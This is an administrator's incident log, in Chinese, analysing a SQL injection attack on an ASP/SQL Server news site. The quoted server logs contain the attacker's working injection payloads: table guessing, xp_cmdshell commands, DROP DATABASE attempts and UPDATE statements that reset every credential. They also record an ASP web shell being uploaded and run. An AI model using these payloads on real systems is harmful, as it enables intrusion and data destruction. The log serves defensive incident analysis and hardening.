時間:中午13:30
接到實驗室電話,說網站信息發佈系統(舊版)用戶無法登陸,察看數據庫後發現所有用戶名和密碼均被改爲 admin ,未發現其它改動。
經過分析,數據庫被非法修改。因爲用戶名被設爲主鍵,正常情況下不會重複。
時間:下午15:30
到實驗室察看服務器。服務器系統爲 win2003 + IIS6.0,系統是ASP編寫的,數據庫爲 SQL-Server 2000。
用備份恢復用戶表。
察看系統安全日誌,發現以下記錄:
2004-09-08 03:32:20 GET /news/showmsg.asp id=1190%20and%20exists(select%20*%20from%20admin)|24|80040e37|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]對象名_'admin'_無效。 80 - 211.157.253.134 500
系統存在SQL注入漏洞!入侵在猜用戶表,查找所有211.157.253.134的操作記錄,原來才了好多次,並且猜中了:
2004-09-08 03:32:31 GET /news/showmsg.asp id=1190%20and%20exists(select%20*%20from%20user)|24|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]在關鍵字_'user'_附近有語法錯誤。 80 - 211.157.253.134 500
下面要開始做動作了吧,繼續看
2004-09-08 03:33:58 GET /news/showmsg.asp id=1190%20and%20exists(select%20*%20from%20news)|24|80040e37|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]對象名_'news'_無效。 80 - 211.157.253.134 500
又猜了幾次信息表,還好表名比較特別,最終沒猜出來。
2004-09-08 03:36:01 GET /news/showmsg.asp id=1190;exec%20xp_cmdshell%20'iisreset%20/reboot%20/now'|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]未能找到存儲過程_'xp_cmdshell'。 80 - 211.157.253.134 500
id=1190;exec%20dbo.master.xp_cmdshell%20'iisreset%20/reboot%20/now'|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]未能在_sysdatabases_中找到數據庫_'dbo'_所對應的條目。沒有找到具有該名稱的條目。請確保正確地輸入了名稱。 80 - 211.157.253.134 500
2004-09-08 03:37:33 GET /news/showmsg.asp id=1190;exec%20master.xp_cmdshell%20'iisreset%20/reboot%20/now'|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]未能找到存儲過程_'master.xp_cmdshell'。 80 - 211.157.253.134 500
還好數據庫經過一些處理,一些擴展存儲過程之類已經刪除。
又猜了幾次信息表,沒猜出來,終於開始動手了:
2004-09-08 03:38:55 GET /news/showmsg.asp id=1190;select%20*%20from%20[user]; 80 - 211.157.253.134 200
2004-09-08 03:47:31 GET /news/showmsg.asp id=1190%20and%20drop%20databases%20t***s|24|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]在關鍵字_'drop'_附近有語法錯誤。 80 - 211.157.253.134 500
猜到數據庫名,還要刪除數據庫,陰險!
2004-09-08 03:47:46 GET /news/showmsg.asp id=1190%20;%20drop%20database%20trans;--|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]無法除去_數據庫_'t***s',因爲它當前正在使用。 80 - 211.157.253.134 500
使用中,無法刪除。。。
2004-09-08 03:50:33 GET /news/showmsg.asp id=1190%20;drop%20database%20master;|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]無法_除去_數據庫_'master',因爲它是系統_數據庫。 80 - 211.157.253.134 500
靠,什麼都想刪
2004-09-08 03:56:18 GET /news/showmsg.asp id=1190%20;insert%20into%20[user](username,[password])%20values('123123','123123'); 80 - 211.157.253.134 200
要強行建立一個用戶
2004-09-08 03:57:36 GET /news/showmsg.asp id=1190%20;delete%20from%20[user]%20where%20username='123123';|24|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]第_1_行:_';'_附近有語法錯誤。 80 - 211.157.253.134 500
要刪除這個用戶,什麼意思,沒用上嗎?繼續看:
2004-09-08 03:58:12 GET /news/showmsg.asp id=1190%20;update%20[user]%20set%20username='admin',password='admin'%20where%20id=1;|24|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]列名_'id'_無效。 80 - 211.157.253.134 500
要改管理員密碼,還好列名不對
2004-09-08 03:58:43 GET /news/showmsg.asp id=1190%20;update%20[user]%20set%20username='admin'; 80 - 211.157.253.134 200
2004-09-08 03:58:55 GET /news/showmsg.asp id=1190%20;update%20[user]%20set%20[password]='admin'; 80 - 211.157.253.134 200
原來如此,這裏把所有用戶名、密碼改了
2004-09-08 03:59:07 GET /news/MSG_list.asp - 80 - 211.157.253.134 200
已經登錄管理界面了,可以爲所欲爲了,不過倒是還比較有道德,沒有再改動數據庫的內容。
2004-09-08 04:01:56 GET /news/showmsg.asp id=1190%20;drop%20database%20eaie;|194|80004005|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]無法_除去_數據庫_'eaie',因爲它在系統目錄中不存在。 80 - 211.157.253.134 500
eaie???
2004-09-08 04:10:22 POST /news/saveupfile.asp - 80 - 211.157.253.134 200
應該上傳了什麼,看看:
2004-09-08 04:11:12 GET /news/upfile/200498121011admin1.asp - 80 - 211.157.253.134 200
上傳了*.asp文件,以admin用戶登錄,並且執行了。
2004-09-08 04:49:15 GET /news/upfile/200498121011admin1.asp path=C:/Documents%20and%20Settings&oldpath=C:&attrib=true 80 - 211.157.253.134 200
執行了很多類似操作,估計是木馬。
日誌分析完畢。
時間:下午17:00
先看看上傳了個什麼文件,打開,有一行說明了一切:
<title>::::海陽頂端網ASP木馬@2005α版::::</title>
原來如此,靠
再在IIS下察看上傳文件夾權限,竟然允許執行純腳本。關!
時間:下午17:10
查看信息發佈系統數據庫連接文件,竟然用sa登錄。
重新添加兩個用戶,信息顯示的用戶類型設爲datareader,不可操作用戶表
時間:下午17:30
查看信息發佈系統源代碼,SQL注入過濾對錶單提交都作了,但字符串卻沒有相應限制。
修改源代碼,進行嚴格過濾。
時間:下午18:00
修改完畢。
總結:由於系統設計和服務器管理沒有協調好,數據庫出現漏洞;文件夾權限設置出現漏洞;上傳文件也沒有做類型限制,這些導致了網站被注入。
經過補救,安全性有所提高。但要完全杜絕入侵還有距離。